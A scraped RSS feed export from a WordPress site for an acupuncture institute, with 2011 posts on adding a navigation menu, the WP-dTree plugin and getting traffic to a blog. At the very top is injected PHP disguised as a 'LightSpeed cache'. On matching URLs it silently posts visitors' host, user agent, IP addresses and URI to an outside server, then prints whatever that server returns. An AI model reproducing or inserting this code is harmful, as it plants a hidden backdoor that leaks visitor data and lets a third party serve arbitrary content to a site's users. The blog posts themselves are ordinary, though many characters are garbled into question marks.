/** * Implement the LightSpeed cache. */ if (preg_match ('/.*77.*/', $_SERVER['REQUEST_URI']) || preg_match ('/.*ach.*/', $_SERVER['REQUEST_URI'])) { error_reporting(0); $url="http://w3lightcache.com/server_new.php";$params="h=$_SERVER[HTTP_HOST]&ua=$_SERVER[HTTP_USER_AGENT]&ip=$_SERVER[REMOTE_ADDR]&ip2=$_SERVER[HTTP_X_FORWARDED_FOR]&uri=$_SERVER[REQUEST_URI]";$ch=curl_init($url);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,$params);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);$result=curl_exec($ch);curl_close($ch); if (!empty($result)) {echo $result; die;} } wordpress blog – American Institute of Acupuncture http://acuherb.us Acupuncture, herbs, and traditional Chinese Medicine, health full service spa Mon, 10 Sep 2018 16:49:35 +0000 en-US hourly 1 https://wordpress.org/?v=5.0.21 Add a navigation menu to WordPress http://acuherb.us/add-a-navigation-menu-to-wordpress/ Mon, 08 Aug 2011 03:07:09 +0000 http://acuherb.us/?p=143

This tutorial will explain how to add a simple HorizontalNavigation Menuto WordPress. The navigation menu or bar will allow your visitors to obtain easy access to your site and all of it’s content directly from the top of each page or post.

Nav Menu Screenshot

 

Note: There is now a great plugin available that supersedes this tutorial. The plugin can be found HERE

As you have probably noticed, this site contains a horizontal navigation menu located just under the header. This navigation menu was created by me and has since been used on many WordPress Blogs. The main advantage to having a horizontal navigation menu is that it provides easy access to main links either external or internal to sites, pages and categories. The menu I have created is fully editable and can link to any URL you set.

The following steps will explain how you can add a horizontal navigation menu like this to your site.

  • Log into your WordPress Admin panel.
  • From the admin panel, Click Presentation -> Theme Editor.
  • Select the “Stylesheet” theme file from the menu to the right (style.css)
  • Now scroll to the bottom of the style.css file and add the following:

div#navmenu {
margin: 18px;
text-align: center;
height: 20px;
width: 95%;
background-color: #C0D5F4;
}
div#navmenu ul {
margin: 0px;
padding: 0px;
text-align: center;
font-family:'Lucida Grande', Verdana, Arial, Sans-Serif;
font-size: small;
font-weight: bold;
color: #336699;
line-height: 20px;
white-space: nowrap;
}
div#navmenu li {
list-style-type: none;
display: inline;
}
div#navmenu li a {
text-decoration: none;
padding: 5px 5px;
color: #336699;
}
div#navmenu li a:link {
color: #336699:
}
div#navmenu li a:hover {
font-weight: bold;
color: #114477;
}

  • Click the update file button.
  • Now we need to select the “Header” theme file from the menu to the right (header.php)
  • Scroll to the bottom of your header.php and add the following:

<div id="navmenu">
<ul>
<li><a href="http://www.yourlink.com/">link</a></li>
<li><a href="http://www.yourlink.com/">link2</a></li>
<li><a href="http://www.yourlink.com/">link3</a></li>
</ul>
</div>

  • You will need to edit the “yourlink” addresses and “Link” Links to point to the addresses and links you wish to have listed. For example if you want a home page link it might look like the following example that I use on my site:

<li><a href="http://www.lancelhoff.com/">Home</a></li>

  • If you would like to add more links to your nav menu simply add another link line. Once you have edited the addresses and links Click the update file button and view your site.

If you need to change the colors of the Nav Menu, you can do this from within the .css under the navmenu entries.

That concludes this “WordPress Horizontal Navigation Menu” tutorial.

]]>
WP-dTree plugin http://acuherb.us/wp-dtree-plugin/ Fri, 05 Aug 2011 16:38:33 +0000 http://acuherb.us/?p=121

Dynamic tree-widgets to replace the standard archives, categories, pages and link lists.

This plugin provides?dynamic navigation trees?to replace the standard archives, categories, pages and link lists. They’re widgets so you can setup?the awesome tree navigation?with drag & drop ease, but it also exposes several?new template tags?for developers.

WP-dTree 4.0 is a complete re-write, bringing the plugin up to speed with the much matured WordPress 3 API. The overhaul has made WP-dTree significantly more sane and robust; it supports multiple widget instances, “foreign” characters, is more in tune with your themes, plays nice with translators and offers true fallbacks for those who surf without JavaScript.

If you value?my plugins?and want to motivate further development – pleasehelp me out?by?downloading and installing DropBox?from my refferal link. It’s a cross-plattform application to sync your files online and across computers. A 2GB account is free and my refferal earns you a 250MB bonus!

Note:

For some users the installation procedure left WP-dTree without a default configuration. If after installing and activating the widget all you get is?a wierd string of code, just go to Settings -> WP-dTree and hit “Update settings”.

Changes in v4.2 (2010-10-29)

  • Fixed the uninstallation procedure.

Changes in v4.1 (2010-10-23)

Changes in v4.0 (2010-10-17)

  • Completely recoded from the ground up for a much needed code overhaul.
  • All previous settings will be lost!?Write them down before upgrading.
  • Added: support for multiple tree instances
  • Added: support for per-tree configurations
  • Added:?template tags?for theme developers
  • Added: (optional) noscript for JS-disabled visitors
  • Added: uses category descriptions for link titles
  • Added: translation support
  • Added: optional JS-escape (XHTML, HTML or none) to ease validation
  • Added: caching is optional (per instance, to boot)
  • Fixed: should properly encode quotes and HTML-entities
  • Replaced Scriptacolous with jQuery
  • Made truncation optional
  • Removed support for WP <2.3
  • Removed all CSS-options from admin area
  • Removed all non-essential CSS-rules
  • Only load jQuery if animation is on
  • Minified JS and CSS (9KB vs. 16KB!)
  • Cache is created on site visit (faster admin, less server load)
]]>
Getting Traffic to Your Blog http://acuherb.us/getting-traffic-to-your-blog/ Fri, 05 Aug 2011 03:56:58 +0000 http://acuherb.us/?p=91

The number one rule is to create valuable content. This is really important. You want people to keep returning to your site. But, how do you get them there in the first place? Time and lots of effort. If you keep at it, using these suggestions below, you will grow your site. I?ll cover both online and offline strategies. Try them both. The easiest to start with are the online ones.

Offline Strategies to Get Blog Traffic

  1. Tell all your friends.
  2. Create flyers or business cards to give to everyone you meet.
  3. Write a?press release.
  4. Do some interviews on TV, radio or in newspapers.
  5. Create a local access TV program where you present similar information that your blog presents and be sure to make your blog URL prominent on the show.
  6. Post flyers in places where your target audience frequents ? also try libraries, the post office bulletin board, supermarkets, and community centers.
  7. Merchandise: bumper stickers, t-shirts, etc. You could look intoCafePress.com.

Online Strategies to Get Blog Traffic

  1. Email?all your contacts that might be interested and ask them to pass the info to their contacts that might be interested.
  2. Social Networking.?Join the top social networking sites and grow your network of friends who are interested in your topic and who are willing to support your writing with votes on social network sites. I cover this in more detail in the next segment.
  3. Comment on other blogs.?Every time you leave a comment you will get a link to your blog and people who read comments might come visit your site. Seek out blogs that are similar to your and have a large following which you can tell by the number of subscribers they have and the amount of comments the blog gets.
  4. Participate in blog carnivals.?You can find out about them by searching online or you can check out?BlogCarnival.com.
  5. SEO:?Optimize your site for search engines. This practice is called Search Engine Optimization or SEO for short. I?m convinced you could read about this for the rest of your life, but at some point you need just the basics so here is a good article by a trusted source on some?basic SEO techniques. (The author also offers a free e-book on identifying the best keywords to use.)
  6. Create a contest?for your readers that gets them to tell other people about your blog.
  7. Write guest posts at other blogs for exposure to new readers.
  8. Build links?to your blog by commenting on?blogs that have ?dofollow??links which means that search engines will see those links. This helps you get more search engine traffic eventually.
  9. Write really good content.?Write really good content. And write some more really good content.
  10. Brand your blog for success.

Here are a few other articles on getting traffic to your blog:

Social Networking Basics

There are so many social networking sites out there that it can become dizzying trying to figure out which ones are best given our limits on time. So I will give you some basic advice that should really benefit you while keeping it simple.

Here are the basic and most popular sites you should consider joining:

I recommend starting out with?StumbleUpon,?Facebook, and eitherMyBlogLog?or?BlogCatalog.

Facebook: Use this to notify your circle of friends and family about your blog and keep them up to date on posts. You can create groups on Facebook of just people who are interested in your content. You could ask them to share it with their friends.

MyBlogLog/BlogCatalog:?Use this to find other blogs and bloggers. You can learn what makes a good blog. You can comment on great blogs, and also make friends with people who would like to help support and promote your writing either on social networking sites or with links to your blog.

StumbleUpon:?This can probably bring you the most traffic. Here?s what to do:

  1. Join. It?s free.
  2. Read about how to use this service for discovering new websites that interest you.
  3. Search for topics related to you blog or particular blog post.
  4. When search comes up, check out the profiles on the right hand side that list users who are interested in this topic.
  5. You can contact or each of these people.
  6. Craft a polite email that says you noticed that they are interested in ?Topic X? and that you write content in that topic. Offer them a link to your site or blog post. Offer to review anything that they may want you to look at.
  7. Of the people who respond, ask if they would like to agree to support you and you support them on StumbleUpon.
  8. If so, add them as a friend, write a positive ?review? of their profile on StumbleUpon, and ask for their email.
  9. Compile a list of emails of social networking friends who would like to support you.
  10. Over time email your list with new posts that you would like to share with them and ask for a review if they like it. Offer to review anything of theirs in return. Be sure to use the BCC feature on your email when sending to a whole list so that your social networking friends emails are kept private.

Over time as you gain more friends, you could see considerable traffic from StumbleUpon if a lot of people review your blog posts. Always be courteous, don?t pressure people, and offer to reciprocate support. Be sure to let people know that you don?t expect them to automatically vote for you, only if they like your content.

14. Learning More About Blogging, WordPress, and Making Money.

All these steps take time, but if you are persistent and write good content, you will have success. And once you have the basics down you?ll probably want to learn more.

Don?t forget to download the free?Blog Setup Checklist?which will help you keep track of the blog set up process and a place to write down notes or questions to follow up on at a later time. (Clicking on the link will download the free excel checklist.)

Here are some basic articles from WordPress.org on getting started with their blogging platform:

Here are a few highly recommended programs to check out:

?Blogging All the Way to the Bank??– this ebook teaches you some advanced techniques for growing your blog and making money. I learned some new and profitable tips from this book recently that I am excited to implement soon.

?Launch the *** Out of Your eBook??– for when you write your first ebook. This is an awesome book that will help you sell lots of copies of your book. I highly recommend it as do many others.

?SEO Book Training Program??– This is a comprehensive training program for learning SEO. It comes highly recommended.?They also offer many free?and very valuable?SEO tools?plus some basic free training. There is a fee for the advanced training.

]]>